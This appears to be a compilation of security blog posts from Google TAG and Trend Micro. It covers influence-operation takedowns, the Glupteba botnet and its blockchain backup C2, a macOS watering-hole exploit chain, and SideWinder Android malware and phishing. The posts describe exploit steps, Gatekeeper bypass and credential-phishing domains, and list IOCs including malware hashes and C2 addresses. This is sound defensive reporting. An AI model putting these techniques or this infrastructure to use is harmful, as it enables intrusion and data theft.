We terminated 3 YouTube channels, 1 Play developer, and blocked 1 domain from eligibility to appear on Google News surfaces and Discover as part of our investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in English, Russian, German, Italian, French, and Spanish that was supportive of Russia’s positions on the military conflicts in Ukraine, the Middle East, and Central Asia.
We terminated 15 YouTube channels as part of our investigation into coordinated influence operations linked to Ethiopia.
This campaign uploaded content in Amahric that was supportive of Prime Minister Abiy Ahmed and was critical of his opposition.
Our findings are similar to findings reported by Facebook.
We terminated 36 YouTube channels, 1 ads account and 1 blog as part of our investigation into coordinated influence operations linked to Pakistan.
This campaign uploaded content in English and Urdu that was critical of India’s government in its treatment of Muslims, particularly in the region of Kashmir.
Our findings are similar to findings reported by Facebook.
We received leads from Graphika that supported us in this investigation.
We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian that was critical of the protests supporting Alexei Navalny.
We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.
This campaign uploaded content in Mandarin Chinese that was positive in sentiment about life in Xinjiang, China and was critical of Western allegations of abuses.
We received leads from Graphika that supported us in this investigation.
We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Moldova.
This campaign uploaded content in Russian that contained a variety of sensational political narratives, including one about an imminent threat to Russia from Ukraine and the U.S.We terminated 989 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.
A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S.
These findings are consistent with our previous reports.
We received leads from FireEye and Graphika that supported us in this investigation.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.
It was last updated on May 12, 2022.
We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.
Google TAG actively monitors threat actors and the evolution of their tactics and techniques.
We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.
As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.
We believe this action will have a significant impact on Glupteba's operations.
However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.
Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.
TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.
The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).
For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.
The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.
While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.
This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.
These services include selling access to virtual machines loaded with stolen credentials (dont[.
]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.
This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.
We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.
Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.
In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.
During this time, an additional 130 Google accounts associated with this operation were terminated.
Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.
Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.
While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.
The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.
To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.
In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses:
The following 32 byte AES keys for decryption are hard coded in the binaries:
The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.
The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain.
Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:
Recent domains used for command and control:
Recent sha256 hashes of malware samples:
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021.
It was last updated on February 7, 2022.
To protect our users, TAG routinely hunts for 0-day vulnerabilities exploited in-the-wild.
In late August 2021, TAG discovered watering hole attacks targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.
The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.
As is our policy, we quickly reported this 0-day to the vendor (Apple) and a patch was released to protect users from these attacks.
Based on our findings, we believe this threat actor to be a well-resourced group, likely state backed, with access to their own software engineering team based on the quality of the payload code.
In this blog we analyze the technical details of the exploit chain and share IOCs to help teams defend against similar style attacks.
The websites leveraged for the attacks contained two iframes which served exploits from an attacker-controlled server—one for iOS and the other for macOS.
iOS Exploits
The iOS exploit chain used a framework based on Ironsquirrel to encrypt exploits delivered to the victim's browser.
We did not manage to get a complete iOS chain this time, just a partial one where CVE-2019-8506 was used to get code execution in Safari.
macOS Exploits
The macOS exploits did not use the same framework as iOS ones.
The landing page contained a simple HTML page loading two scripts—one for Capstone.js and another for the exploit chain.
The parameter rid is a global counter which records the number of exploitation attempts.
This number was in the 200s when we obtained the exploit chain.
While the javascript starting the exploit chain checks whether visitors were running macOS Mojave (10.14) or Catalina (10.15) before proceeding to run the exploits, we only observed remnants of an exploit when visiting the site with Mojave but received the full non-encrypted exploit chain when browsing the site with Catalina.
The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021 before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021.
Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit.
To verify this hypothesis, we ran git bisect and determined it was fixed in this commit.
Capstone.js
It was interesting to see the use of Capstone.js, a port of the Capstone disassembly framework, in an exploit chain as Capstone is typically used for binary analysis.
The exploit authors primarily used it to search for the addresses of dlopen and dlsym in memory.
Once the embedded Mach-O is loaded, the dlopen and dlsym addresses found using Capstone.js are used to patch the Mach-O loaded in memory.
With the Capstone.js configured for X86-64 and not ARM, we can also derive the target hardware is Intel-based Macs.
Embedded Mach-O
After the WebKit RCE succeeds, an embedded Mach-O binary is loaded into memory, patched, and run.
Upon analysis, we realized this binary contained code which could escape the Safari sandbox, elevate privileges, and download a second stage from the C2.
Analyzing the Mach-O was reminiscent of a CTF reverse engineering challenge.
It had to be extracted and converted into binary from a Uint32Array.
Then the extracted binary was heavily obfuscated with a relatively tedious encoding mechanism--each string is XOR encoded with a different key.
Fully decoding the Mach-O was necessary to obtain all the strings representing the dynamically loaded functions used in the binary.
There were a lot of strings and decoding them manually would have taken a long time so we wrote a short Python script to make quick work of the obfuscation.
The script parsed the Mach-O at each section where the strings were located, then decoded the strings with their respective XOR keys, and patched the binary with the resulting strings.
Once we had all of the strings decoded, it was time to figure out what capabilities the binary had.
There was code to download a file from a C2 but we did not come across any URL strings in the Mach-O so we checked the javascript and saw there were two arguments passed when the binary is run–the url for the payload and its size.
After downloading the payload, it removes the quarantine attribute of the file to bypass Gatekeeper.
It then elevated privileges to install the payload.
N-day or 0-day?
Before further analyzing how the exploit elevated privileges, we needed to figure out if we were dealing with an N-day or a 0-day vulnerability.
An N-day is a known vulnerability with a publicly available patch.
Threat actors have used N-days shortly after a patch is released to capitalize on the patching delay of their targets.
In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against.
Despite the exploit being an executable instead of shellcode, it was not a standalone binary we could run in our virtual environment.
It needed the address of dlopen and dlsym patched after the binary was loaded into memory.
These two functions are used in conjunction to dynamically load a shared object into memory and retrieve the address of a symbol from it.
They are the equivalent of LoadLibrary and GetProcAddress in Windows.
To run the exploit in our virtual environment, we decided to write a loader in Python which did the following:
For our payload, we wrote a simple bash script which runs id and pipes the result to a file in /tmp.
The result of the id command would tell us whether our script was run as a regular user or as root.
Having a loader and a payload ready, we set out to test the exploit on a fresh install of Catalina (10.15) since it was the version in which we were served the full exploit chain.
The exploit worked and ran our bash script as root.
We updated our operating system with the latest patch at the time (2021-004) and tried the exploit again.
It still worked.
We then decided to try it on Big Sur (11.4) where it crashed and gave us the following exception.
The exception indicates that Apple added generic protections in Big Sur which rendered this exploit useless.
Since Apple still supports Catalina and pushes security updates for it, we decided to take a deeper look into this exploit.
Elevating Privileges to Root
The Mach-O was calling a lot of undocumented functions as well as XPC calls to mach_msg with a MACH_SEND_SYNC_OVERRIDE flag.
This looked similar to an earlier in-the-wild iOS vulnerability analyzed by Ian Beer of Google Project Zero.
Beer was able to quickly recognize this exploit as a variant of an earlier port type confusion vulnerability he analyzed in the XNU kernel (CVE-2020-27932).
Furthermore, it seems this exact exploit was presented by Pangu Lab in a public talk at zer0con21 in April 2021 and Mobile Security Conference (MOSEC) in July 2021.
In exploiting this port type confusion vulnerability, the exploit authors were able to change the mach port type from IKOT_NAMED_ENTRY to a more privileged port type like IKOT_HOST_SECURITY allowing them to forge their own sec_token and audit_token, and IKOT_HOST_PRIV enabling them to spoof messages to kuncd.
After gaining root, the downloaded payload is loaded and run in the background on the victim's machine via launchtl.
The payload seems to be a product of extensive software engineering.
It uses a publish-subscribe model via a Data Distribution Service (DDS) framework for communicating with the C2.
It also has several components, some of which appear to be configured as modules.
For example, the payload we obtained contained a kernel module for capturing keystrokes.
There are also other functionalities built-in to the components which were not directly accessed from the binaries included in the payload but may be used by additional stages which can be downloaded onto the victim's machine.
Notable features for this backdoor include:
Our team is constantly working to secure our users and keep them safe from targeted attacks like this one.
We continue to collaborate with internal teams like Google Safe Browsing to block domains and IPs used for exploit delivery and industry partners like Apple to mitigate vulnerabilities.
We are appreciative of Apple’s quick response and patching of this critical vulnerability.
For those interested in following our in-the-wild work, we will soon publish details surrounding another, unrelated campaign we discovered using two Chrome 0-days (CVE-2021-37973 and CVE-2021-37976).
That campaign is not connected to the one described in today’s post.
Delivery URLs
Javascript
Sandbox escape / LPE
Backdoor
C2
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q3 2021.
It was last updated on October 29, 2021.
Updated January 8, 2020 5PM EST with a video showing the exploit of  CVE-2019-2215.
We found three malicious apps in the Google Play Store that work together to compromise a victim’s device and collect user information.
One of these apps, called Camero, exploits CVE-2019-2215, a vulnerability that exists in Binder (the main Inter-Process Communication system in Android).
This is the first known active attack in the wild that uses the use-after-free vulnerability.
Interestingly, upon further investigation we also found that the three apps are likely to be part of the SideWinder threat actor group’s arsenal.
SideWinder, a group that has been active since 2012, is a known threat and has reportedly targeted military entities’ Windows machines.
The three malicious apps were disguised as photography and file manager tools.
We speculate that these apps have been active since March 2019 based on the certificate information on one of the apps.
The apps have since been removed from Google Play.
Figure 1.
The three apps related to SideWinder group
Figure 2.
Certificate information of one of the apps
Installation
SideWinder installs the payload app in two stages.
It first downloads a DEX file (an Android file format) from its command and control (C&C) server.
We found that the group employs Apps Conversion Tracking to configure the C&C server address.
The address was encoded by Base64 then set to referrer parameter in the URL used in the distribution of the malware.
Figure 3.
Parsed C&C Server address
After this step, the downloaded DEX file downloads an APK file and installs it after exploiting the device or employing accessibility.
All of this is done without user awareness or intervention.
To evade detection, it uses many techniques such as obfuscation, data encryption, and invoking dynamic code.
The apps Camero and FileCrypt Manger act as droppers.
After downloading the extra DEX file from the C&C server, the second-layer droppers invoke extra code to download, install, and launch the callCam app on the device.
Figure 4.
Two-stage payload deployment
Figure 5.
Code showing how the dropper invokes extra DEX code
To deploy the payload app callCam on the device without the user’s awareness, SideWinder does the following:
1.
Device Rooting
This approach is done by the dropper app Camero and only works on Google Pixel (Pixel 2, Pixel 2 XL), Nokia 3 (TA-1032), LG V20 (LG-H990), Oppo F9 (CPH1881), and Redmi 6A devices.
The malware retrieves a specific exploit from the C&C server depending on the DEX downloaded by the dropper.
Figure 6.
Code snippet from Extra DEX downloaded by Camero
We were able to download five exploits from the C&C server during our investigation.
They use the vulnerabilities CVE-2019-2215 and MediaTek-SU to get root privilege.
Figure 7.
CVE-2019-2215 exploit
Figure 8.
MediaTek-SU exploit
After acquiring root privilege, the malware installs the app callCam, enables its accessibility permission, and then launches it.
Figure 9.
Commands install app, launch app, and enable accessibility
2.
Device Rooting
This approach is used by the dropper app FileCrypt Manager and works on most typical Android phones above Android 1.6.
After its launch, the app asks the user to enable accessibility.
Figure 10.
Steps FileCrypt Manager prompts user to do
Once granted, the app shows a full screen window that says that it requires further setup steps.
In reality, that is just an overlay screen that is displayed on top of all activity windows on the device.
The overlay window sets its attributions to FLAG_NOT_FOCUSABLE and FLAG_NOT_TOUCHABLE, allowing the activity windows to detect and receive the users’ touch events through the overlay screen.
Figure 11.
Overlay screen
Meanwhile, the app invokes code from the extra DEX file to enable the installation of unknown apps and the installation of the payload app callCam.
It also enables the payload app’s accessibility permission, and then launches the payload app.
All of this happens behind the overlay screen, unbeknownst to the user.
And, all these steps are performed by employing Accessibility.
Figure 12.
Code enabling install of unknown apps and new APK
Figure 13.
Code enable accessibility permission of the newly installed app
The video below demonstrates payload deployment via CVE-2019-2215 on Pixel 2:
&amp;amp;amp;amp;amp;nbsp;
callCam’s Activities
The app callCam hides its icon on the device after being launched.
It collects the following information and sends it back to the C&C server in the background:
Location
Battery status
Files on device
Installed app list
Device information
Sensor information
Camera information
Screenshot
Account
Wifi information
Data of WeChat, Outlook, Twitter, Yahoo Mail, Facebook, Gmail, and Chrome
The app encrypts all stolen data using RSA and AES encryption algorithms.
It uses SHA256 to verify data integrity and customize the encoding routine.
When encrypting, it creates a block of data we named headData.
This block contains the first 9 bytes of origin data, origin data length, random AES IV, the RSA-encrypted AES encrypt key, and the SHA256 value of AES-encrypted origin data.
Then the headData is encoded through the customized routine.
After the encoding, it is stored in the head of the final encrypted file followed by the data of the AES-encrypted original data.
Figure 14.
Data encryption process
Figure 15.
Customized encoding routine done
Relation to SideWinder
These apps may be attributed to SideWinder as the C&C servers it uses are suspected to be part of SideWinder’s infrastructure.
In addition, a URL linking to one of the apps’ Google Play pages is also found on one of the C&C servers.
Figure 16.
Google Play URL of FileManager app found in one of the C&C servers.
Trend Micro Solutions
Trend Micro solutions such as the Trend Micro™ Mobile Security for Android™ can detect these malicious apps.
End users can also benefit from its multilayered security capabilities that secure the device owner’s data and privacy and safeguard them from ransomware, fraudulent websites, and identity theft.
For organizations, the Trend Micro Mobile Security for Enterprise suite provides device, compliance, and application management, data protection, and configuration provisioning.
It also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware and fraudulent websites.
Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerabilities.
Indicators of Compromise
SHA256
Package Name/File type
App Name/Detection Name
ec4d6bf06dd3f94f4555d75c6daaf540dee15b18d62cc004e774e996c703cb34
DEX
AndroidOS_SWinderSpy.HRXA
a60fc4e5328dc75dad238d46a2867ef7207b8c6fb73e8bd001b323b16f02ba00
DEX
AndroidOS_SWinderSpy.HRXA
0daefb3d05e4455b590da122255121079e83d48763509b0688e0079ab5d48886
ELF
AndroidOS_MtkSu.A
441d98dff3919ed24af7699be658d06ae8dfd6a12e4129a385754e6218bc24fa
ELF
AndroidOS_BinderExp.A
ac82f7e4831907972465477eebafc5a488c6bb4d460575cd3889226c390ef8d5
ELF
AndroidOS_BinderExp.A
ee679afb897213a3fd09be43806a7e5263563e86ad255fd500562918205226b8
ELF
AndroidOS_BinderExp.A
135cb239966835fefbb346165b140f584848c00c4b6a724ce122de7d999a3251
ELF
AndroidOS_MtkSu.A
a265c32ed1ad47370d56cbd287066896d6a0c46c80a0d9573d2bb915d198ae42
com.callCam.android.callCam2base
callCamm
Package Name/File type
App Name/Detection Name
com.abdulrauf.filemanager
FileCrypt Manager
com.callCam.android.callCam2base
callCamm
com.camero.android.camera2basic
Camero
C&C Servers
ms-ethics.net
deb-cn.net
ap1-acl.net m
s-db.net
aws-check.net
reawk.net
MITRE ATT&CK Matrix™
Tags
Mobile
|
APT & Targeted Attacks
|
Research
While tracking the activities of the SideWinder group, which has become infamous for targeting the South Asia region and its surrounding countries, we identified a server used to deliver a malicious LNK file and host multiple credential phishing pages.
We learned that these pages were copied from their victims’ webmail login pages and subsequently modified for phishing.
We believe further activities are propagated via spear-phishing attacks.
The group’s targets include multiple government and military units, mainly in Nepal and Afghanistan.
After the gathered credentials are sent, some of the phishing pages will redirect victims to different documents or news pages.
The themes and topics of these pages and documents are related to either Covid-19 or recent territory disputes between Nepal, Pakistan, India, and China.
Furthermore, it seems that these lures are distributed via phishing links.
We also found multiple Android APK files on their phishing server.
While some of them are benign, we also discovered malicious files created with Metasploit.
One of the normal applications, called “OpinionPoll,” is a survey app for gathering opinions regarding the Nepal-India political map dispute, which seems to be another political lure similar to the one they used in the spear-phishing portion.
We believe these applications are still under development and will likely be used to compromise mobile devices in the future.
SideWinder has been very active in 2020.
Earlier this year, we published a report on how the SideWinder APT group used the Binder exploit to attack mobile devices.
The group also launched attacks against Pakistan, Bangladesh, and China using lure files related to Covid-19.
Analysis of the malicious document
The use of malicious documents is one of SideWinder’s most common infection vectors.
We collected several different samples from the campaign, including:
1.
An LNK file that downloads an RTF file and drops a JavaScript file
2.
A ZIP file containing an LNK file, which downloads an HTA file (with JavaScript)
3.
An RTF file that drops a JavaScript file
4.
A PDF file with an embedded JavaScript stream
5.
A DOCX file with an external link to an OLE object (RTF file), which contains and drops a JavaScript file
Figure 1.
An example of a downloaded ZIP file containing an LNK file that is used to download a malicious HTA file
All of these cases end up with either the downloading or dropping of files and then the execution of JavaScript code, which is a dropper used to install the main backdoor + stealer.
The downloaded RTF files exploit the CVE-2017-11882 vulnerability.
It drops a file named 1.a (a JavaScript code), which drops the backdoor + stealer into a folder in ProgramData and directly executes it or creates a scheduled task to execute the dropped files at a later time.
Figure 2.
A scheduled task with a command to execute the dropped backdoor + stealer
The content of the newly created folder contains a few files, including Rekeywiz (EFS REKEY wizard, FA86B5BC5343CA92C235304B8DCBCF4188C6BE7D4621C625564BEBD5326ED850), which is a legitimate Windows application.
Figure 3.
List of dropped files
This application loads various system DLL libraries, including shell32.dll, which sideloads DUser.dll, one of shell32’s DelayImports.
Figure 4.
DUser library as DelayImport of shell32 library
However, a fake DUser.dll gets loaded into the process.
This fake DLL library decrypts the main backdoor + stealer from the .tmp file in the same directory.
Figure 5.
Algorithm for decrypting both main backdoor + stealer and configuration
The decryption process is a simple XOR, where the key is the first 32 bytes from the encrypted file and the payload are the remaining bytes.
The decrypted payload is the main backdoor .NET executable binary.
Figure 6.
Decrypted main SystemApp with listing its classes and resources
In Resources, the Default resource contains the encrypted configuration.
After decryption (using the same principle as with the main backdoor + stealer), the configuration reveals which file formats the attackers are targeting.
Figure 7.
The decrypted configuration
The main functions of the backdoor + stealer are:
1) Downloading the .NET executable and running it
2) Collecting system information and uploading it to the command-and-control (C&C) server
3) Uploading selected files to the C&C server
The collected information is in JSON format (hence why the Newtonsoft_Json library stored in Resources is loaded) and includes information such as privileges, user accounts, computer system information, antivirus programs, running processes, processor information, operating system information, timezone, installed Windows updates, network information, list of directories in Users\%USERNAME%\Desktop, Users\%USERNAME%\Downloads, Users\%USERNAME%\Documents, Users\%USERNAME%\Contacts, as well as information on all drives and installed apps.
The spear-phishing attack
We found several interesting dynamic DNS domains resolving to a server that was used to deliver SideWinder’s malicious documents.
The subdomains of these dynamic DNS domains are designed to be similar to the domains of their victims’ mail servers.
For example, “mail-nepalgovnp[.]duckdns[.
]org” was created to pretend to be the original Nepal government’s domain “mail[.]nepal[.]gov[.]np”.
Digging deeper, we found that it hosted several phishing pages.
These pages were copied from the webmail servers of various targets and then modified for spear-phishing attacks designed to steal login credentials.
Although it’s not clear to us how these phishing pages are delivered to the victims, finding the original webmail servers that they copied to make these phishing pages allows us to identify who they were targeting.
Analysis of the phishing pages revealed that most of them would redirect to the original webmail servers, which they copied after the victims sent out their login credentials.
However, we also found some of them will either redirect to documents or news pages.
These documents and news are probably interesting in some way to their targets and are used to make them click and log in to the phishing pages.
While several of the documents are related to Covid-19, we also found some documents or news related to territorial issues in South Asia, including:
“India Should Realise China Has Nothing to Do With Nepal’s Stand on Lipulekh” – a news article that discusses India-China conflicts in May.
“India reaction after new pak map.pdf” – a document talking about India’s response to the new political map revealed by Pakistan in August.
“Ambassador Yanchi Conversation with Nepali_Media.pdf” – a document describing an interview with China's ambassador to Nepal regarding Covid-19, the Belt and Road Initiative, and territorial issues in the Humla district.
The following table shows their targets, related phishing domains, and lure documents used in each of the phishing attacks.
Date
Phishing Domain
Targeted Organization
Targeted Mail server
Redirection after login
2019 Nov
Government of Nepal
mail.nepal.gov.np
Redirect to file “IMG_0002.pdf”
2019 Nov
Ministry of Defence, Nepal
mail.mod.gov.np
Redirect to original mail server
2019 Dec
mail-mofagovnp.zapto[.
]org
Ministry of Foreign Affairs, Nepal
mail.mofa.gov.np
Redirect to web news “China, Nepal sign trade, infrastructure and security deals”
2019 Dec
Government of Nepal
mail.nepal.gov.np
Redirect to file
“consultation_1523857630.pdf”
2020 Jan
imail.aop.gov-af[.
]org
Administrative Office of the President, Afghanistan
imail.aop.gov.af
Redirect to web page “Observation Of Technology Use in Afghanistan Government Sector”
2020 Jan
mail-nscaf.myftp[.
]org
Afghanistan National Security Council
mail.nsc.gov.af
Redirect to https://wikipedia.org/USB_Killer
2020 Jan
mail-nepalarmymilnp.duckdns[.
]org
Nepali Army
mail.nepalarmy.mil.np
Redirect to PDF “EN Digital Nepal Framework V8.4 15 July 2019.pdf”
2020 Jan
mail-mofagovnp.hopto[.
]org
Ministry of Foreign Affairs, Nepal
mail.mofa.gov.np
Redirect to PDF “national-security-vol-3-issue-1-essay-SSimkhada.pdf”
2020 Jan
webmail.mohe.gov-af[.
]org
Ministry of Higher Education, Afghanistan
webmail.mohe.gov.af
Redirect to original mail server
2020 Feb
Ministry of Defense, Sri Lanka
mail.defence.lk
Login Error
2020 Feb
mail.moha.gov-np[.
]org
Ministry of Home Affairs, Nepal
mail.moha.gov.np
Redirect to original mail server
2020 Feb
mail.nsc.gov-af[.
]org
Afghanistan National Security Council
mail.nsc.gov.af
Redirect to original mail server
2020 Feb
mail.arg.gov-af[.
]org
Presidential Palace, Afghanistan
mail.arg.gov.af
Redirect to original mail server
2020 Feb
mail.arg.gov-af[.
]org
Presidential Palace, Afghanistan
mail.arg.gov.af
Redirect to original mail server
2020 Feb
Center for Education and Human Resource Development, Nepal
mail.doe.gov.np
Redirect to file “Para Basic Course Joining Instruction.docx”
2020 Mar
mail-nepalgovnp.duckdns[.
]org
Government of Nepal
mail.nepal.gov.np
Redirect to original mail server
2020 Mar
Nepal Electricity Authority
mail.nea.org.np
Redirect to original mail server
2020 Mar
mail-nepalgovnp.duckdns[.
]org
Government of Nepal
mail.nepal.gov.np
Redirect to file “central data form.pdf”
2020 Mar
mail-nepalarmymilnp.duckdns[.
]org
Nepali Army
mail.nepalarmy.mil.np
Redirect to file “Corona Virus Preparedness and Response.pdf”
2020 Mar
mail-nepalpolicegov.hopto[.
]org
Nepal Police
mail.nepalpolice.gov.np
Redirect to file “1987 Conducting training on COVID-19 and keeping it in readiness.pdf”
2020 Apr
mail-nrborg.hopto[.
]org
Nepal Rastra Bank
mail.nrb.gov.np
Redirect to file ”fiu.pdf”
2020 May
mail-nepalarmymilnp.duckdns[.
]org
Nepali Army
mail.nepalarmy.mil.np
Redirect to web news “India Should Realise China Has Nothing to Do With Nepal’s Stand on Lipulekh”
2020 Jun
mail-nepalarmymilnp.duckdns[.
]org
Nepali Army
mail.nepalarmy.mil.np
Showing login failed message
2020 Jul
Qatar Charity
mail.qcharity.org
Redirect to original mail server
2020 Jul
Myanma Posts and Telecommunications
webmail.mpt.net.mm
Redirect to original mail server
2020 Aug
mail-ncporgnp.hopto[.
]org
Nepal Communist Party
mail.ncp.org.np
Redirect to file “India reaction after new pak map.pdf”
2020 Aug
mail-nscaf.myftp[.
]org
Afghanistan National Security Council
mail.nsc.gov.af
Redirect to 10[.]77[.]17[.
]10/Software/03-Applications
2020 Sep
mail-mofgovnp.hopto[.
]org
Ministry of Finance, Nepal
mail.mof.gov.np
Redirect to file “1987 Covid.pdf”
2020 Sep
mail-ncporgnp.hopto[.
]org
Nepal Communist Party
mail.ncp.org.np
Redirect to document “The spectre of a new Maoist conflict in Nepal”
2020 Sep
imail.aop.gov-af[.
]org
Administrative Office of the President, Afghanistan
imail.aop.gov.af
Redirect to file “SOP of Military Uniform .pdf”
2020 Oct
mail-nepalpolicegovnp.duckdns[.
]org
Nepal Police
mail.nepalpolice.gov.np
Redirect to file “2077-07-03 1239 Regarding investigation and action.pdf”
2020 Oct
Civil Aviation Authority of Nepal
mail.caanepal.gov.np
Redirect to original mail server
2020 Oct
mail-apfgovnp.ddns[.
]net
mail-apfgavnp.hopto[.
]org
Armed Police Force, Nepal
mail.apf.gov.np
Redirect to original mail server
2020 Oct
mail-nscaf.myftp[.
]org
Afghanistan National Security Council
mail.nsc.gov.af
Redirect to file “IT Services Request Form.pdf”
2020 Nov
mail-ntcnetnp.serveftp[.
]com
Nepal Telecom
webmail.ntc.net.np
Redirect to original mail server
2020 Nov
mail-kmgcom.ddns[.
]net
Kantipur Media Group
mail.kmg.com.np
Redirect to original mail server
2020 Nov
Federal Parliament of Nepal
mail.parliament.gov.np
Redirect to original mail server
2020 Nov
Public Procurement Monitoring Office, Nepal
mail.ppmo.gov.np
Redirect to original mail server
2020 Nov
mail-mfagovcn.hopto[.
]org
Ministry of Foreign Affairs, China
mail.mfa.gov.cn
Redirect to file “Ambassador Yanchi Conversation with Nepali_Media.pdf”
Figure 8.
SideWinder’s phishing page disguised as a Nepalese Army OWA (Outlook Web Access) Page
Figure 9.
The lure document redirected from the phishing page that discusses Indian and Pakistani political map issues
Figure 10.
The lure document covering the interview of China’s ambassador to Nepal
Android applications
We also identified multiple Android APK files on their server.
Interestingly, these Android applications still seem to be under the initial development phase as they are basic, still use the default Android icons, and have no practical function for users.
Figure 11.
The default Android icons used by the APKs
We noticed two applications among them, named “My First APP” and “Opinion Poll,” that seemingly have no malicious behavior.
My First APP demonstrates login & register processes, while Opinion Poll acts as an opinion polling application for the Indian-Nepalese political map dispute.
The first application is likely an Android demo application for beginners, while the second one starts with an explanation of “Opinion Writing,” followed by a survey.
Figure 12.
Non-malicious applications “My First APP” and “Opinion Poll”
Another two applications were built from JavaPayload for Metasploit that will load extra code from the remote server configured in the sample.
While we were unable to retrieve the payload, according to the Manifest that requests numerous privacy-related permissions like location, contacts, call logs, etc., we can infer that it goes after the user’s private data.
These two samples appear to be debug versions as they have no activities or any other component except Metasploit.
Figure 13.
Build from Metasploit and Request Permissions
We also identified a malicious version of the My First APP application that added Metasploit whose class names have been obfuscated.
Figure 14.
Malicious version of My First APP, which adds Metasploit
SideWinder has used malicious apps as part of its operation before.
In the campaign referenced earlier, the group used malicious APKs disguised as photography and file manager tools to lure users into downloading them.
Once downloaded into the user’s mobile device, the malicious APKs launch a series of fairly sophisticated procedures that includes rooting the device to stealthily deploy the payload, as well as exploiting CVE-2019-2215 and MediaTek-SU vulnerabilities for root privileges.
The payload’s ultimate goal is to gather information from the compromised device and then send it back to its C&C server.
In the case of these newer APKs, it seems that the goal is to gather user information as well.
Unlike the earlier apps, which were already on the Google Play Store, all the APK files found on their server are not mature enough for a deliberate attack.
In our opinion, these are still in the initial stage, and the payloads (directed at mobile users) are still being refined further.
Conclusion
As seen with their phishing attacks and their mobile device tools’ continuous development, SideWinder is very proactive in using trending topics like Covid-19 or various political issues as a social engineering technique to compromise their targets.
Therefore, we recommend that users and organizations be vigilant and follow social engineering best practices to protect themselves from these kinds of campaigns.
Indicator of Compromise
Android Part IoCs
Indicator
Package name
Label
C2 server
Detection
0c182b51ff1dffaa384651e478155632c6e65820322774e416be20e6d49bb8f9
com.example.firstandoidapp
My First App
-
061b0379a12b88488db8540226e400e3f65fef9a4c1aa7744da9f17e1d93d78d
com.example.opinionpoll
OpinionPoll
-
fb6ac9d93fd47db3d32f6da6320344a125e96754a94babb9d9d12b6604a42536
com.metasploit.stage
MainActivity
https://185.225.19[.
]46:4589
AndroidOS_Metasploit.HRX
468b74883536938ef3962655dfcc3ca4097ca9b5b687dfc1fef58d50e96dc248
com.metasploit.stage
MainActivity
tcp://185.225.19.46[:]4875
AndroidOS_Metasploit.HRX
a377e5f4bf461b86f938959256b7ab8b1b40bb9fd3cd45951c736a22366a8dd1
com.example.firstandoidapp
My First App
tcp://185.225.19.46[:]4875
AndroidOS_Metasploit.HRX
Malicious documents and related payloads IoCs
Indicator
Description
Detection
TrendX
1CBEC920AFE2F978B8F84E0A4E6B757D400AEB96E8C0A221130060B196ECE010
docx
Trojan.W97M.CVE20170199.FAIL
7238F4E5EDBE0E5A2242D8780FB58C47E7D32BF2C4F860C88C511C30675D0857
RTF file
Trojan.W97M.SIDEWINDER.A
75C158CEA14E338C8D9D32ED988C7032DA9AE6D54F5B1126ED6A83F71B9E03BF
